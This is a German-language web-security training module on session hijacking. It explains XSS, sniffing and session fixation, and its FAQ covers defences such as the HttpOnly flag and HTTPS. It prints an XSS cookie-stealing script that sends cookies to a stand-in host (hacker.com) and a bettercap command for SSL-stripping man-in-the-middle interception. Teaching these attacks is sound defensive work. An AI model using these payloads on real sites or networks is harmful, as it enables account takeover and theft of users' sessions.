Module 10: Broken Access Control

Session Hijacking

"Warum nach einem Passwort suchen, wenn die Session bereits aktiv ist?"

Der digitale Identitätsdiebstahl

Da HTTP ein zustandsloses Protokoll ist, nutzen Webserver **Session-IDs** (meist in Cookies gespeichert), um dich wiederzuerkennen. Wenn ein Angreifer diesen Token stiehlt, kann er ihn in seinem eigenen Browser importieren und ist sofort als das Opfer eingeloggt – **ohne Passwort, ohne 2FA.**

Methoden des Diebstahls:

  • XSS: Ein bösartiges Script liest document.cookie aus.
  • Network Sniffing: Abfangen von Cookies in unverschlüsselten (HTTP) WLANs.
  • Session Fixation: Dem Opfer wird eine vordefinierte Session-ID untergeschoben.

Cookie Laboratory

Attacker Console: Dashboard v2.1
UNAUTHORIZED
// Awaiting session data from victim...
Exfiltrated Data:
No data yet.

Session Commands

XSS Cookie Stealer (Payload)

<script>fetch('http://hacker.com/log?c=' + document.cookie);</script>

Bettercap MITM Attack

bettercap -iface eth0 -eval "net.probe on; set http.proxy.sslstrip true; http.proxy on"

Identity Theft FAQ

Was ist der "HttpOnly" Flag in Cookies?

Dies ist die wichtigste Verteidigung gegen XSS-basiertes Hijacking. Wenn HttpOnly gesetzt ist, kann JavaScript nicht auf den Cookie zugreifen (document.cookie bleibt leer). Der Cookie wird nur vom Browser bei HTTP-Anfragen automatisch mitgesendet.

Kann HTTPS Session Hijacking verhindern?

HTTPS verhindert das "Sniffing" im Netzwerk (Sidejacking), aber es schützt nicht vor XSS. Wenn der Angreifer ein Script auf der Seite ausführen kann, stiehlt er den Cookie direkt aus dem Speicher deines Browsers – egal ob die Verbindung verschlüsselt ist oder nicht.

Wie funktioniert Session Fixation?

Anstatt eine Session zu stehlen, gibt der Angreifer dem Opfer eine Session-ID vor (z.B. über einen Link: ?PHPSESSID=HACKER_ID). Sobald sich das Opfer mit dieser ID einloggt, "aktiviert" es die Session für den Angreifer, der die ID bereits kennt.